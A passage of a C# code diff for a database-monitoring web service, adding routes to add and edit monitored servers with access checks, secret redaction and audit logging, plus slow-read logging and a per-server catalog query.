+        "create_server_tag",
+        "update_server_tag",
+        "delete_server_tag",
+        "assign_server_tag",
+        "unassign_server_tag",
         "get_tool_guide",
     };
 
@@ -290,7 +305,7 @@ on a state it has not reasoned about. */
     /// and the MCP host's analysis fill — so compare_analysis' banding here reads a series the store was already asked
     /// for this analysis hour from memory. Null keeps the analysis service's baselines private to it.</para>
     /// </summary>
-    public static void MapAll(WebApplication app, NpgsqlDataSource postgres, CollectorRuntimeState collector, ILogger logger, BaselineCache? baselineCache = null, PostgresConfig? postgresConfig = null, ReadLatencyAccumulator? readLatency = null, PerformanceMonitor.PlanAnalysis.AnalyzerConfig? analyzerConfig = null, MonitoredServerRegistryState? registryState = null)
+    public static void MapAll(WebApplication app, NpgsqlDataSource postgres, CollectorRuntimeState collector, ILogger logger, BaselineCache? baselineCache = null, PostgresConfig? postgresConfig = null, ReadLatencyAccumulator? readLatency = null, PerformanceMonitor.PlanAnalysis.AnalyzerConfig? analyzerConfig = null, MonitoredServerRegistryState? registryState = null, SlowReadLog? slowReads = null)
     {
         /* #4442 scope 2, #4782: the read-latency seat THIS call's routes record into -- the accumulator and
            logger this call was given, held in a per-call object that the two record sites close over: the
@@ -300,7 +315,7 @@ public static void MapAll(WebApplication app, NpgsqlDataSource postgres, Collect
            the same process (six test classes call MapAll, and xUnit runs classes in parallel) took the samples
            of a server built before it. Production calls MapAll once, so nothing changes there. A caller with
            no accumulator (a test that maps the routes directly) records nothing. */
-        var readLatencyRecorder = new ReadLatencyRecorder(readLatency, logger);
+        var readLatencyRecorder = new ReadLatencyRecorder(readLatency, logger, slowReads);
 
         /* Liveness AND collection state (#2953). The one health surface that does not read the store, which
            makes it the only one that can answer when the store IS the problem — so it reports the collector's
@@ -344,11 +359,13 @@ makes it the only one that can answer when the store IS the problem — so it re
            like /api/fleet — the per-server view is reachable through the /api/read/get_ag_health mirror, which
            owns the name-resolution error path. Unlike that mirror this returns the DTO directly: an AG-less store
            answers with an empty groups array rather than the tool's {status:"empty"} envelope, so the page renders
-           its own empty state and the nav gate can read the count off the same response. */
+           its own empty state and the nav gate can read the count off the same response. #5042: this page renders
+           its own cards, not an MCP client's result buffer, so it passes a null byte budget and never loses a view
+           to the 32 KB cap (the response is compressed on the wire, #4188); only get_ag_health keeps that cap. */
         app.MapGet("/api/ag", async (HttpContext context) =>
         {
             var result = await DarlingAgReader.GetAgHealthAsync(
-                postgres, null, DateTime.UtcNow, cancellationToken: context.RequestAborted);
+                postgres, null, DateTime.UtcNow, responseByteBudget: null, cancellationToken: context.RequestAborted);
             return Results.Json(result, DarlingAgReader.JsonOptions);
         });
 
@@ -369,9 +386,28 @@ its own empty state and the nav gate can read the count off the same response. *
             {
                 var stopwatch = Stopwatch.StartNew();
                 string result;
+                using var readScope = ReadScope.Open(logger);
+                readScope.Scope.CaptureStatements = true;
                 try
                 {
+                    /* A newest-first capped read is judged against the window it read: with no anchor sent, the end is
+                       taken once here and handed to both the read and the note check. A request with its own anchor
+                       is left as sent. */
+                    var askedAsOf = AsOf(context);
+                    if (askedAsOf is null && WebDataStartNote.CappedByRead.ContainsKey(name))
+                    {
+                        askedAsOf = WebDataStartNote.FormatWindowEnd(DateTime.UtcNow);
+                        context.Request.QueryString = context.Request.QueryString.Add("as_of", askedAsOf);
+                    }
+
                     result = await handler(context, postgres, analysis);
+
+                    /* #4966: a grid over a window says where its table's data starts when that is after the window's
+                       start. Added to the web mirror only, never to the tool, so the MCP payloads are unchanged. A
+                       failed probe returns the tool's answer as it was. */
+                    var askedHours = QueryInt(context, "hours", "hours_back", 0);
+                    result = await WebDataStartNote.AddAsync(
+                        postgres, name, Server(context), askedHours > 0 ? askedHours : null, askedAsOf, result, logger, context.RequestAborted);
                 }
                 catch (OperationCanceledException) when (context.RequestAborted.IsCancellationRequested)
                 {
@@ -390,8 +426,10 @@ Reported and answered directly from the real Exception here — ServerErrorResul
                        too, rather than falling through to ToHttpResult, keeps the ONE log line #4276 added:
                        routing this through FormatError first would make ToHttpResult's classifier re-derive
                        from text what this catch already knows structurally, and log it a second time. */
-                    DarlingWebFailureLog.Report(logger, "/api/read/" + name, stopwatch.ElapsedMilliseconds, ex);
-                    RecordWebReadLatency(readLatencyRecorder, name, ReadOutcomeClassifier.Classify(ex, context.RequestAborted), stopwatch.ElapsedMilliseconds);
+                    DarlingWebFailureLog.Report(logger, DarlingWebFailureLog.RouteOf(context.Request), stopwatch.ElapsedMilliseconds, ex);
+                    var thrownOutcome = ReadScope.Resolve(ReadOutcomeClassifier.Classify(ex, context.RequestAborted), readScope.Fallback);
+                    RecordWebReadLatency(readLatencyRecorder, name, thrownOutcome, stopwatch.ElapsedMilliseconds);
+                    OfferWebSlowRead(readLatencyRecorder, readScope.Scope, name, thrownOutcome, stopwatch.ElapsedMilliseconds, context, SlowReadLog.ErrorClassOf(ex));
                     return Results.Json(DarlingWebFailureLog.Body(ex), statusCode: DarlingWebFailureLog.StatusCode(ex));
                 }
 
@@ -403,15 +441,22 @@ ServerError arm is the only shape that can carry a 57014 sentence (a tool that c
                 var webOutcome = ClassifyToolResponse(result) == ToolResponseKind.ServerError
                     ? ReadOutcomeClassifier.ClassifySentence(McpHelpers.ErrorMessageOf(result), context.RequestAborted)
                     : ReadOutcome.Ok;
-                RecordWebReadLatency(readLatencyRecorder, name, webOutcome, stopwatch.ElapsedMilliseconds);
+                var resolvedOutcome = ReadScope.Resolve(webOutcome, readScope.Fallback);
+                RecordWebReadLatency(readLatencyRecorder, name, resolvedOutcome, stopwatch.ElapsedMilliseconds);
+                OfferWebSlowRead(readLatencyRecorder, readScope.Scope, name, resolvedOutcome, stopwatch.ElapsedMilliseconds, context,
+                    resolvedOutcome == ReadOutcome.Error ? "tool_error" : SlowReadLog.ErrorClassOf(resolvedOutcome));
 
-                return ToHttpResult(result, "/api/read/" + name, logger, stopwatch.ElapsedMilliseconds);
+                return ToHttpResult(result, DarlingWebFailureLog.RouteOf(context.Request), logger, stopwatch.ElapsedMilliseconds);
             });
         }
 
         MapCustomViews(app, postgres, logger, readLatencyRecorder);
         MapCustomAlerts(app, postgres, logger);
         MapMuteRules(app, postgres, logger);
+        MapServerTags(app, postgres, logger);
+        MapAdminServers(app, postgres);
+        MapServers(app, postgres, logger);
+        MapAlertHistoryDismiss(app, postgres, logger);
 
         /* The fleet sweep feed (#3466 lane 3): dedicated read routes like /api/fleet, over the same
            FleetSweepStore presentation reads lane 4's get_sweep_reports tool will serve — see
@@ -427,6 +472,7 @@ seat takes the service logger threaded here rather than app.Logger. */
            read-only notebook definition. Same reach as the triage page it sits beside - everything it
            serves is already reachable through /api/read/*. */
         AlertNotebookEndpoint.Map(app, postgres, analysis, logger);
+        DarlingServerDatabasesEndpoint.Map(app, postgres, logger); // #5245: the database picker's list
     }
 
     /* ─────────────────────────── #1563 custom views: session, catalog, CRUD ─────────────────────────── */
@@ -457,7 +503,28 @@ constant is what makes the SPA's read-only rendering reachable — it hides ever
             JsonNodeResult(new JsonObject { ["can_edit"] = DarlingWebSeat.FromContext(context).CanEdit }));
 
         /* The read catalog: input truth (read names + their WIRE query keys) the composer binds params from. */
-        app.MapGet("/api/catalog", () => JsonNodeResult(BuildCatalogNode()));
+        /* #5562: ?server= makes the collector intervals the SERVER's own (a per-server schedule row wins over the
+           fleet-wide one); without it they are the fleet-wide effective interval. Either way the read's reach
+           (max_hours) is the same: it belongs to the read, not the server. An unknown server is answered with the
+           resolver's refusal, not a silent fall back to the fleet's numbers. */
+        app.MapGet("/api/catalog", async (HttpContext context) =>
+        {
+            var serverName = context.Request.Query["server"].ToString();
+            if (string.IsNullOrWhiteSpace(serverName))
+            {
+                var fleetSchedules = await DarlingDataReader.ReadScheduleOverridesAsync(postgres, null, context.RequestAborted);
+                return JsonNodeResult(BuildCatalogNode(null, fleetSchedules));
+            }
+
+            var (resolved, resolveError) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, serverName, context.RequestAborted);
+            if (resolveError != null)
+            {
+                return JsonNodeResult(JsonNode.Parse(resolveError)!.AsObject());
+            }
+
+            var schedules = await DarlingDataReader.ReadScheduleOverridesAsync(postgres, resolved.ServerId, context.RequestAborted);
+            return JsonNodeResult(BuildCatalogNode(resolved.ServerId, schedules));
+        });
 
         /* List — a bare array of summaries (no definition); [] when none. */
         app.MapGet("/api/views", async (HttpContext context) =>
@@ -601,7 +668,7 @@ viewer pool — the composer's live preview + the "view compiled SQL" transparen
                sees. Only THIS web mapping (see ComposeRunFailureResult) stops putting a STORE fault's text on
                the wire (M1's outcome.Fault, checked before outcome.Error is ever read for the 400/500 split). */
             var stopwatch = Stopwatch.StartNew();
-            var outcome = await RunComposedPanelAsync(postgres, body, context.RequestAborted, readLatencyRecorder);
+            var outcome = await RunComposedPanelAsync(postgres, body, context.RequestAborted, readLatencyRecorder, ComposeClientDeadlineHeadroomSeconds, remapClientTimeout: true, includeDataStartFields: true);
             if (outcome.Payload is not null)
             {
                 return JsonNodeResult(outcome.Payload);
@@ -951,138 +1018,1578 @@ key here is a caller who wanted PATCH. application/json required. */
         });
     }
 
-    /// <summary>Reads the raw request body text — what the mute-rule cores parse themselves, so the web layer
-    /// adds no parse of its own to drift from theirs.</summary>
-    private static async Task<string> ReadBodyAsync(HttpContext context)
-    {
-        using var reader = new StreamReader(context.Request.Body);
-        return await reader.ReadToEndAsync(context.RequestAborted);
-    }
+    /// <summary>How long one <c>POST /api/servers</c> request may hold the one-at-a-time slot.</summary>
+    internal static readonly TimeSpan ServerAddSlotTimeout = TimeSpan.FromSeconds(120);
+
+    internal const string ServerAddTimedOutText = "Adding servers took too long; check the server list before retrying. If every later add is refused as busy, restart the service.";
+
+    /// <summary>The most servers one <c>POST /api/servers</c> request may carry.</summary>
+    internal const int MaxServersPerAddRequest = 20;
+
+    /// <summary>The most request-body bytes the add route reads before it answers 400 (twenty entries are a few KB).</summary>
+    internal const int MaxServerAddBodyBytes = 64 * 1024;
+
+    /// <summary>What a redacted secret is replaced with in any text the add route puts on the wire or in a log.</summary>
+    private const string RedactedSecret = "[redacted]";
 
     /// <summary>
-    /// Maps a mute-rule verb's returned string onto the HTTP status the web surface answers with, leaving the
-    /// body untouched: <c>invalid</c> → 400, <c>not_found</c> → 404, <c>already_exists</c> → 409 (#4734: a create
-    /// that repeats a rule already in force is a conflict, the status the views and custom-rule routes give theirs;
-    /// the body is still the verb's envelope, carrying the existing rule's id), any other envelope (created /
-    /// updated / unchanged / deleted) → <paramref name="successStatus"/>; the cores' caught-exception envelope
-    /// (<c>McpHelpers.FormatError</c>, <c>{"status":"error", ...}</c>) → 500 (classified by
-    /// <see cref="ClassifyToolResponse"/>, like the read surface, and BEFORE the status switch below so the
-    /// failure word is never read as a verb outcome); any other bare string is a shape the cores do not produce and maps to the client-correctable
-    /// 400 for the reason the read surface's mapping does. <c>unchanged</c> deliberately shares the success
-    /// code: it is the retry-safe "already so" answer, and the envelope's own <c>status</c> field carries the
-    /// distinction a caller might act on. Pure, so the whole table pins without a server.
+    /// <c>POST /api/servers</c>: adds monitored servers (the web twin of the MCP <c>add_servers</c> tool). The body
+    /// is the same JSON ARRAY of server objects the tool takes, and the route hands it to the SAME core
+    /// (<see cref="DarlingMcpServerAdminTools.AddServersAsync(NpgsqlDataSource, string, DarlingMcpServerAdminTools.ServerProbe, CancellationToken)"/>),
+    /// so the web surface accepts exactly what the tool accepts, probes the server from the service before saving,
+    /// and answers with the core's own <c>{requested, added, skipped, collided, failed, results}</c> envelope. The
+    /// core's whole-request refusal (<c>{"status":"invalid"}</c>) is a 400; every other envelope is a 200, with
+    /// each entry's outcome in <c>results</c>.
     ///
-    /// <para>Since #3739 the <c>invalid</c> → 400 arm is answered by the classifier's <c>Refusal</c> kind — the
-    /// same recognizer the read surface uses, so the two surfaces cannot disagree about the word — and the
-    /// <c>"invalid"</c> case in the parsed switch below is kept as the belt-and-braces for an envelope that was
-    /// serialized some other way (whitespace, a different key order) and so missed the prefix test.</para>
+    /// <para><b>Gates.</b> A read-only seat is refused by the host's group-level write gate
+    /// (<see cref="DarlingWebSeat.IsRequestAllowed"/>) and again here, because this is the one route that carries a
+    /// credential. <c>application/json</c> is required (415 otherwise, the CSRF defense the mute routes use). At most
+    /// <see cref="MaxServersPerAddRequest"/> servers per request (400 above that). One add runs at a time per host
+    /// process: a second request that arrives while one is running answers 429, because each entry is probed over
+    /// the network and a caller must not be able to queue unbounded probes from the service. The write runs on the
+    /// host's <c>viewer</c> pool, whose <c>INSERT</c> on <c>config_monitored_servers</c> is the floor beneath the
+    /// seat gate; <c>encrypted_password</c> stays SELECT-carved from it.</para>
+    ///
+    /// <para><b>Credentials.</b> A password or client secret travels only in the request body. The route never echoes
+    /// the body, never logs it, and every 400 it composes is a fixed sentence (a parse failure names no part of the
+    /// body, because a JSON parser's message can quote the character it stopped at). Any submitted secret that
+    /// appears in the core's answer is replaced with <see cref="RedactedSecret"/> before it is written, as a
+    /// backstop: the core's answers carry none today. The core's caught-exception envelope never reaches the wire
+    /// either: it answers through <see cref="ServerErrorResult"/>'s fixed body, like every other write route.</para>
+    ///
+    /// <para><b>Audit.</b> Who added a server is not stored on the row, so one Information line per added server is
+    /// the record: the editor principal, the server name and the auth mode, never the secret.</para>
     /// </summary>
-    internal static int MuteRuleEnvelopeStatus(string result, int successStatus = StatusCodes.Status200OK)
+    internal static void MapServers(
+        WebApplication app, NpgsqlDataSource postgres, ILogger logger,
+        Func<string, Task<string>>? addServers = null,
+        TimeSpan? addTimeout = null,
+        Func<int, string, Task<string>>? editServer = null,
+        TimeSpan? editTimeout = null,
+        Func<int, Task<DarlingMcpServerAdminTools.ServerEditRow?>>? readServer = null)
     {
-        switch (ClassifyToolResponse(result))
+        var slotTimeout = addTimeout ?? ServerAddSlotTimeout;
+        var editSlotTimeout = editTimeout ?? ServerEditSlotTimeout;
+
+        /* One gate per host: MapAll runs once per process. ADD and EDIT share it (#5240): both probe over the network
+           and both read-then-write the same identity set, so one server write runs at a time per host process. */
+        var serverWriteInFlight = new SemaphoreSlim(1, 1);
+
+        /* The seam a test stands a stub probe or a held add in through; production runs the core itself. */
+        addServers ??= body => DarlingMcpServerAdminTools.AddServers(postgres, body, logger);
+
+        /* The edit core and the by-id read, with the same seam. The edit core gets NO audit logger: the route writes the one
+           audit line itself, with the signed-in principal. It gets the logger for a failed connection test's driver
+           text alone (probeLogger), which the reply to the browser does not carry. */
+        editServer ??= (id, body) => DarlingMcpServerAdminTools.EditServerByIdAsync(postgres, id, body, null, CancellationToken.None, probeLogger: logger);
+        readServer ??= id => new DarlingMcpServerAdminTools.PostgresServerEditStore(postgres).ReadRowAsync(id, CancellationToken.None);
+
+        app.MapPost("/api/servers", async (HttpContext context) =>
         {
-            case ToolResponseKind.ServerError:
-                return StatusCodes.Status500InternalServerError;
-            case ToolResponseKind.Refusal:
-            case ToolResponseKind.ClientError:
-                return StatusCodes.Status400BadRequest;
-        }
+            if (!DarlingWebSeat.FromContext(context).CanEdit)
+            {
+                return ErrorResult("This account has read-only access.", StatusCodes.Status403Forbidden);
+            }
+
+            if (!IsJsonContentType(context.Request.ContentType))
+            {
+                return UnsupportedMediaTypeResult();
+            }
+
+            string body;
+            try
+            {
+                body = await ReadBoundedBodyAsync(context, MaxServerAddBodyBytes);
+            }
+            catch (InvalidDataException)
+            {
+                return ErrorResult("Request body is too large.", StatusCodes.Status400BadRequest);
+            }
+
+            if (!TryReadServerAddBody(body, out var entries, out var refusal))
+            {
+                return ErrorResult(refusal!, StatusCodes.Status400BadRequest);
+            }
+
+            /* Both are read BEFORE the slot call: an add that outlives the wait commits after the request is over, and
+               its audit line is written then, from these two, never from the HttpContext. */
+            var principal = DarlingWebSeat.FromContext(context).EditorPrincipal;
+            var secrets = SubmittedSecrets(entries);
+
+            var ran = await RunInServerWriteSlotAsync(
+                serverWriteInFlight, () => addServers(body), slotTimeout, AddSlotLabels, logger,
+                auditLateAnswer: late =>
+                {
+                    var lateAnswer = RedactAddAnswer(late, secrets);
+                    LogServerAddFailures(logger, principal, lateAnswer);
+                    LogServerAdds(logger, principal, entries, lateAnswer);
+                });
+            if (ran.Early is not null)
+            {
+                return ran.Early;
+            }
+
+            var result = ran.Answer!;
+            var stopwatch = ran.Stopwatch!;
+
+            if (ClassifyToolResponse(result) is ToolResponseKind.ServerError)
+            {
+                return ServerErrorResult(RedactSecrets(McpHelpers.ErrorMessageOf(result), secrets), "/api/servers", logger, stopwatch.ElapsedMilliseconds);
+            }
+
+            var answer = RedactAddAnswer(result, secrets);
+            LogServerAddFailures(logger, principal, answer);
+            LogServerAdds(logger, principal, entries, answer);
+            return Results.Text(answer, "application/json", statusCode: MuteRuleEnvelopeStatus(answer));
+        });
+
+        /* #5240: edit one server in place. Gates in add's order: the sign-in's edit right (403), JSON content type (415), a bounded
+           body (400), a JSON object without duplicate keys (400), the token (400), then the shared slot (429) and the
+           core with a timeout (503). The host's group-level method gate has already refused a read-only sign-in
+           every unsafe method. */
+        app.MapPatch("/api/servers/{id:int}", async (HttpContext context, int id) =>
+        {
+            if (!DarlingWebSeat.FromContext(context).CanEdit)
+            {
+                return ErrorResult("This account has read-only access.", StatusCodes.Status403Forbidden);
+            }
+
+            if (!IsJsonContentType(context.Request.ContentType))
+            {
+                return UnsupportedMediaTypeResult();
+            }
+
+            string body;
+            try
+            {
+                body = await ReadBoundedBodyAsync(context, MaxServerEditBodyBytes);
+            }
+            catch (InvalidDataException)
+            {
+                return ErrorResult("Request body is too large.", StatusCodes.Status400BadRequest);
+            }
+
+            if (!TryReadServerEditBody(body, out var changes, out var refusal))
+            {
+                return ErrorResult(refusal!, StatusCodes.Status400BadRequest);
+            }
+
+            /* Both are read BEFORE the slot call: an edit that outlives the wait commits after the request is over, and
+               its audit line is written then, from these two, never from the HttpContext. */
+            var principal = DarlingWebSeat.FromContext(context).EditorPrincipal;
+            var secrets = new List<string>();
+            if (TryGetString(changes, "password") is { Length: > 0 } secret)
+            {
+                secrets.Add(secret);
+            }
+
+            /* #5452: the typed AWS external ID is redacted wherever a password is. */
+            if (TryGetString(changes, "aws_external_id") is { Length: > 0 } externalId)
+            {
+                secrets.Add(externalId);
+                if (externalId.Trim() is { Length: > 0 } trimmedExternalId && trimmedExternalId != externalId)
+                {
+                    secrets.Add(trimmedExternalId);
+                }
+            }
+
+            var ran = await RunInServerWriteSlotAsync(
+                serverWriteInFlight, () => editServer(id, body), editSlotTimeout, EditSlotLabels, logger,
+                auditLateAnswer: late => LogServerEdit(logger, principal, id, RedactEditAnswer(late, secrets)));
+            if (ran.Early is not null)
+            {
+                return ran.Early;
+            }
+
+            var result = ran.Answer!;
+            if (ClassifyToolResponse(result) is ToolResponseKind.ServerError)
+            {
+                var sentence = RedactSecrets(McpHelpers.ErrorMessageOf(result), secrets);
+                if (sentence.Contains(DarlingMcpServerAdminTools.EditStoreNeedsRolesText, StringComparison.Ordinal))
+                {
+                    /* A store whose roles predate the edit function (#5240): still a 500, but the body says what to do
+                       instead of the generic sentence. The text is ours; PostgreSQL's own error never reaches this far. */
+                    DarlingWebFailureLog.Report(logger, "/api/servers/{id}", ran.Stopwatch!.ElapsedMilliseconds, sentence);
+                    return ErrorResult(DarlingMcpServerAdminTools.EditStoreNeedsRolesText, StatusCodes.Status500InternalServerError);
+                }
+
+                return ServerErrorResult(sentence, "/api/servers/{id}", logger, ran.Stopwatch!.ElapsedMilliseconds);
+            }
+
+            var answer = RedactEditAnswer(result, secrets);
+            LogServerEdit(logger, principal, id, answer);
+            return Results.Text(answer, "application/json", statusCode: ServerEditEnvelopeStatus(answer));
+        });
+
+        /* The edit form's read (#5240): the editable NON-secret values plus modified_at, an opaque string. Web-only
+           (no MCP tool). It cannot say whether a secret is stored: the viewer role cannot even evaluate
+           encrypted_password. The host's group gate lets every GET through for a read-only seat, so the route
+           checks the edit right itself. */
+        app.MapGet("/api/admin/servers/{id:int}", async (HttpContext context, int id) =>
+        {
+            /* The form's read pre-fills username and the TLS posture, which the Manage Servers list
+               (DarlingAdminServersReader) withholds from every seat. Only a seat that can submit the edit may read it. */
+            if (!DarlingWebSeat.FromContext(context).CanEdit)
+            {
+                return ErrorResult("This account has read-only access.", StatusCodes.Status403Forbidden);
+            }
+
+            var stopwatch = Stopwatch.StartNew();
+            DarlingMcpServerAdminTools.ServerEditRow? row;
+            try
+            {
+                row = await readServer(id);
+            }
+            catch (Exception ex) when (ex is not OperationCanceledException)
+            {
+                return ServerErrorResult($"admin server read failed ({ex.GetType().Name})", "/api/admin/servers/{id}", logger, stopwatch.ElapsedMilliseconds);
+            }
+
+            if (row is null)
+            {
+                return ErrorResult("This server's definition no longer exists.", StatusCodes.Status404NotFound);
+            }
+
+            context.Response.Headers.CacheControl = "no-store";
+            return Results.Text(JsonSerializer.Serialize(DarlingMcpServerAdminTools.CurrentValuesOf(row), McpHelpers.JsonOptions), "application/json");
+        });
+    }
 
+    /// <summary>The most request-body bytes the edit route reads (a partial change of a dozen scalar fields).</summary>
+    internal const int MaxServerEditBodyBytes = 8 * 1024;
+
+    /// <summary>
+    /// PURE: parses the edit body, or names why it is not acceptable with a fixed sentence that quotes no part of the
+    /// body. It must be a JSON object with no duplicate key, and the web route ALWAYS requires
+    /// <c>expected_modified_at</c> (a non-empty string): a form that did not read the row first cannot edit it.
+    /// </summary>
+    internal static bool TryReadServerEditBody(string body, out JsonObject changes, out string? refusal)
+    {
+        changes = new JsonObject();
+        refusal = null;
         try
         {
-            var status = JsonNode.Parse(result) is JsonObject envelope ? TryGetString(envelope, "status") : null;
-            return status switch
+            if (JsonNode.Parse(body) is not JsonObject parsed)
             {
-                "invalid" => StatusCodes.Status400BadRequest,
-                "not_found" => StatusCodes.Status404NotFound,
-                "already_exists" => StatusCodes.Status409Conflict,
-                _ => successStatus,
-            };
+                refusal = "Request body must be a JSON object.";
+                return false;
+            }
+
+            /* A duplicate property name throws ArgumentException on the first enumeration; force it here. */
+            _ = parsed.Count;
+            if (TryGetString(parsed, "expected_modified_at") is not { Length: > 0 })
+            {
+                refusal = "expected_modified_at is required: send the modified_at the edit form read.";
+                return false;
+            }
+
+            changes = parsed;
+            return true;
         }
         catch (JsonException)
         {
-            /* A '{'-leading string that does not parse is not a shape the cores produce — refuse to claim
-               success over a body nobody can read. */
-            return StatusCodes.Status500InternalServerError;
+            refusal = "Request body is not valid JSON.";
+            return false;
+        }
+        catch (ArgumentException)
+        {
+            refusal = "Request body has a duplicate field.";
+            return false;
         }
     }
 
-    /// <summary>The envelope pass-through the mute-rule routes share: the verb's own body, verbatim, under the
-    /// status <see cref="MuteRuleEnvelopeStatus"/> assigns — a refusal (<c>invalid</c>) included, which is the
-    /// shape the read surface adopted from here in #3739.
-    ///
-    /// <para><b>#4283: the ServerError arm never puts the tool's caught-exception text on the wire.</b> Classified
-    /// FIRST, before <see cref="MuteRuleEnvelopeStatus"/> ever runs, and answered through
-    /// <see cref="ServerErrorResult"/> exactly as <see cref="ToHttpResult"/> answers the read surface's — logged
-    /// ONCE, the body a fixed message, 503 when the sentence carries a caught statement_timeout's 57014 token,
-    /// 500 otherwise. Any other error (a bare non-JSON string) is still wrapped as <c>{"error": sentence}</c>.</para>
+    /// <summary>
+    /// The HTTP status an edit answer maps to: <see cref="ServerTagEnvelopeStatus"/> plus <c>collides</c> as 409, and
+    /// <c>connection_failed</c> as 200 with the status in the body (add answers a failed probe the same way), so the
+    /// page branches on <c>status</c> and no new convention is invented. Pure.
     /// </summary>
-    internal static IResult MuteRuleToolResult(string result, string route, ILogger logger, long elapsedMs, int successStatus = StatusCodes.Status200OK)
+    internal static int ServerEditEnvelopeStatus(string result)
     {
-        var kind = ClassifyToolResponse(result);
-        if (kind is ToolResponseKind.ServerError)
+        if (ClassifyToolResponse(result) is ToolResponseKind.JsonPassthrough or ToolResponseKind.Refusal)
         {
-            return ServerErrorResult(McpHelpers.ErrorMessageOf(result), route, logger, elapsedMs);
+            try
+            {
+                switch (JsonNode.Parse(result) is JsonObject envelope ? TryGetString(envelope, "status") : null)
+                {
+                    case "collides":
+                        return StatusCodes.Status409Conflict;
+                    case "connection_failed":
+                        return StatusCodes.Status200OK;
+                }
+            }
+            catch (JsonException)
+            {
+                /* Not a shape the core produces; the tag mapping below answers it. */
+            }
         }
 
-        var httpStatus = MuteRuleEnvelopeStatus(result, successStatus);
-        return kind is ToolResponseKind.JsonPassthrough or ToolResponseKind.Refusal
-            ? Results.Text(result, "application/json", statusCode: httpStatus)
-            : ErrorResult(McpHelpers.ErrorMessageOf(result), httpStatus);
+        return ServerTagEnvelopeStatus(result);
     }
 
-    /// <summary>The discriminated outcome of <see cref="RunComposedPanelAsync"/>: the <c>{sql, rows,
-    /// annotations}</c> payload on success, or an error the caller maps onto its own surface (HTTP status /
-    /// MCP envelope). <see cref="IsServerError"/> distinguishes a client-correctable error — a bad spec or a
-    /// bounded query failure (statement_timeout / Postgres error), i.e. HTTP 400 — from an unexpected internal
-    /// failure (HTTP 500). <see cref="Fault"/> (#4283 review round 1, M1) rides along on a BadRequest for a
-    /// PostgresException the panel author cannot act on — the real exception, so the WEB endpoint mapping can
-    /// answer it through the same backstop as an uncaught one; <see cref="Error"/>/<see cref="IsServerError"/>
-    /// stay what they always were either way, so run_custom_view_panel's MCP answer never changes.
-    /// <see cref="AuthorSqlState"/> (#4293 round 2) is set only on the author-actionable PostgresException arm,
-    /// so the web log line can name the SQLSTATE without re-deriving it.</summary>
-    internal readonly record struct ComposeRunOutcome(JsonObject? Payload, string? Error, bool IsServerError, PostgresException? Fault = null, string? AuthorSqlState = null)
+    /// <summary>The edit answer with every occurrence of the submitted secret removed from its one free-text field,
+    /// <c>message</c> (the only field a driver's text can reach: connection_failed, collides). Structured fields
+    /// (engine, username, host, server, modified_at, numbers, keys) are never rewritten, so a short or common secret
+    /// cannot corrupt them. An answer that does not parse is replaced by a fixed body, never passed through.</summary>
+    internal static string RedactEditAnswer(string answer, IReadOnlyList<string> secrets)
     {
-        internal static ComposeRunOutcome Ok(JsonObject payload) => new(payload, null, false);
+        if (secrets.Count == 0)
+        {
+            return answer;
+        }
 
-        internal static ComposeRunOutcome BadRequest(string error) => new(null, error, false);
+        try
+        {
+            if (JsonNode.Parse(answer) is not JsonObject envelope)
+            {
+                return RedactSecrets(answer, secrets);
+            }
 
-        internal static ComposeRunOutcome BadRequest(string error, PostgresException fault) => new(null, error, false, fault);
+            RedactField(envelope, "message", secrets);
+            return envelope.ToJsonString();
+        }
+        catch (JsonException)
+        {
+            return "{\"status\":\"error\",\"message\":\"The answer could not be read.\"}";
+        }
+    }
 
-        internal static ComposeRunOutcome AuthorQueryError(string error, string? sqlState) => new(null, error, false, null, sqlState);
+    /// <summary>One Information line per saved edit: who, the server id and the field NAMES. Never a value, never the
+    /// secret. A refused probe gets a line with the core's sanitized detail (redacted already).</summary>
+    private static void LogServerEdit(ILogger logger, string principal, int id, string answer)
+    {
+        try
+        {
+            if (JsonNode.Parse(answer) is not JsonObject envelope)
+            {
+                return;
+            }
 
-        internal static ComposeRunOutcome ServerError(string error) => new(null, error, true);
+            switch (TryGetString(envelope, "status"))
+            {
+                case "updated":
+                    var fields = envelope["changed"] is JsonArray changed
+                        ? string.Join(",", changed.Select(n => n is JsonValue v && v.TryGetValue<string>(out var f) ? f : "?"))
+                        : "";
+                    logger.LogInformation(
+                        "Server edited by {Principal}: id {ServerId}, fields {Fields}",
+                        DarlingHttpRefusalLog.Sanitize(principal, 256), id, DarlingHttpRefusalLog.Sanitize(fields, 256));
+                    if (fields.Split(',').Contains("aws_role_arn", StringComparer.Ordinal))
+                    {
+                        /* #5452: old and new role ARN with the principal. The external ID is never in this line. */
+                        logger.LogInformation(
+                            "AWS role changed by {Principal}: id {ServerId}, from {OldRole} to {NewRole}",
+                            DarlingHttpRefusalLog.Sanitize(principal, 256), id,
+                            DarlingHttpRefusalLog.Sanitize(TryGetString(envelope, "old_aws_role_arn") ?? "(none)", 2200),
+                            DarlingHttpRefusalLog.Sanitize(TryGetString(envelope, "new_aws_role_arn") ?? "(none)", 2200));
+                    }
+                    break;
+                case "connection_failed":
+                    logger.LogInformation(
+                        "Server edit failed for {Principal}: id {ServerId}, connection_failed: {Detail}",
+                        DarlingHttpRefusalLog.Sanitize(principal, 256), id, DarlingHttpRefusalLog.Sanitize(TryGetString(envelope, "message") ?? "", 1024));
+                    break;
+            }
+        }
+        catch (JsonException)
+        {
+            /* An unreadable answer has nothing to log. */
+        }
     }
 
-    /// <summary>#4283 review round 1 (M1): the PostgresException SQLSTATEs a Custom Views panel author can act
-    /// on by editing their own panel — a statement_timeout cancel, or a class-22/class-42 error other than
-    /// 42501 (insufficient_privilege, which names a STORE role problem, not the panel), or (#4605) a 53400
-    /// <c>configuration_limit_exceeded</c> — the viewer/mcp role's <c>temp_file_limit</c> refusing the panel's
-    /// own on-disk spill, which the author fixes the same way they fix a statement_timeout cancel: narrow the
-    /// panel. Everything else (28P01 auth failure, 53300 too-many-connections, 57P01 admin shutdown, 3D000
-    /// unknown database, ...) is a STORE fault the author cannot fix.</summary>
-    internal static bool IsComposeRunAuthorActionable(string? sqlState) =>
-        sqlState == "57014"
-        || sqlState == ReadOutcomeClassifier.ConfigurationLimitExceeded
-        || (sqlState is { Length: 5 } && sqlState.StartsWith("22", StringComparison.Ordinal))
-        || (sqlState is { Length: 5 } && sqlState.StartsWith("42", StringComparison.Ordinal) && sqlState != "42501");
+    /// <summary>What <see cref="RunInServerWriteSlotAsync"/> says for one server-write route.</summary>
+    internal sealed record ServerWriteSlotLabels(string BusyText, string TimedOutText, string ToolName, string Route, string LogVerb);
 
-    /// <summary>#4605: the caller-facing text for a composed read the viewer/mcp role's <c>temp_file_limit</c>
